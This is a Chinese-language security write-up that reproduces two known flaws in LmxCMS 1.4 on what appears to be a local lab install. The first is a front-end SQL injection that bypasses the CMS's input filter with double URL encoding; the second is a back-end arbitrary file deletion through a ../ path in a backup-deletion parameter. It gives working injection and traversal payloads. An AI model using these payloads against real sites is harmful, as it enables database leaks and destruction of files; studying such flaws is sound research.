梦想CMS(lmxcms)1.4 简要分析
环境搭建
参考: https://www.bilibili.com/video/BV12U4y1G7iV?t=30.9
源码: http://www.lmxcms.com/down/xitong/
CNVD-2019-05674-前台的SQL注入
https://www.cnvd.org.cn/flaw/show/CNVD-2019-05674
LmxCMS V1.4前台Ta***.cl***.php存在SQL注入漏洞。攻击者可利用漏洞获取数据库敏感信息。
指TagsAction.class.php
这里调用的是系统自己定义的p函数,在common.php中
但是这个p函数过滤的很严,所以考虑在p函数之外绕过
有效的有两个地方:
$name = string::delHtml($data['name']);
$name = urldecode($name);
关于这个delHtml:
调用了strip_tags
效果是:
echo strip_tags("selec<>t"); // select
跟进输出处:
还是添加echo $sql;
所以这里对应的是:/lmxcms1.4/?m=tags&name=a
由于这里有404,报了404之后会发生页面跳转,不方便观察:
由于这儿有Cookie,所以每次对源代码修改后都要重新抓包
payload:/lmxcms1.4/?m=tags&name=a
但是那个delHtml的效果并不好
接下来尝试利用urldecode
正常情况下:
a' or updatexml(0,concat(0x7e,version()),1)#
URL编码两次:
%25%36%31%25%32%37%25%32%30%25%36%66%25%37%32%25%32%30%25%37%35%25%37%30%25%36%34%25%36%31%25%37%34%25%36%35%25%37%38%25%36%64%25%36%63%25%32%38%25%33%30%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%32%38%25%32%39%25%32%39%25%32%63%25%33%31%25%32%39%25%32%33
然后传参:
CNVD-2020-59469-后台---文件删除
https://www.cnvd.org.cn/flaw/show/CNVD-2020-59469
BackdbAction.class.php:
跟进:
发现重写了unlink方法:
public static function unLink($path){
if($path == ROOT_PATH) return;
if(is_file($path)){
if(!@unlink($path)) rewrite::js_back('删除文件失败,请检查'.$path.'文件权限');
return true;
}
}
发现在其他文件中也有使用:
对应的是BasicAction.class.php
回到刚才的unlink:
但是这两个地方删除的文件的后缀都被限制了,一个是.zip,另一个是.sql
再找其他地方:
这个unLink($filepath);
,$filename可控,可能是一个利用点,不过利用起来比较麻烦
还有一处:
默认放置位置在file/back目录下
在根目录下新建一个1.txt:
所以:
http://192.168.84.1:8081/lmxcms1.4/admin.php?m=backdb&a=delbackdb&filename=../../1.txt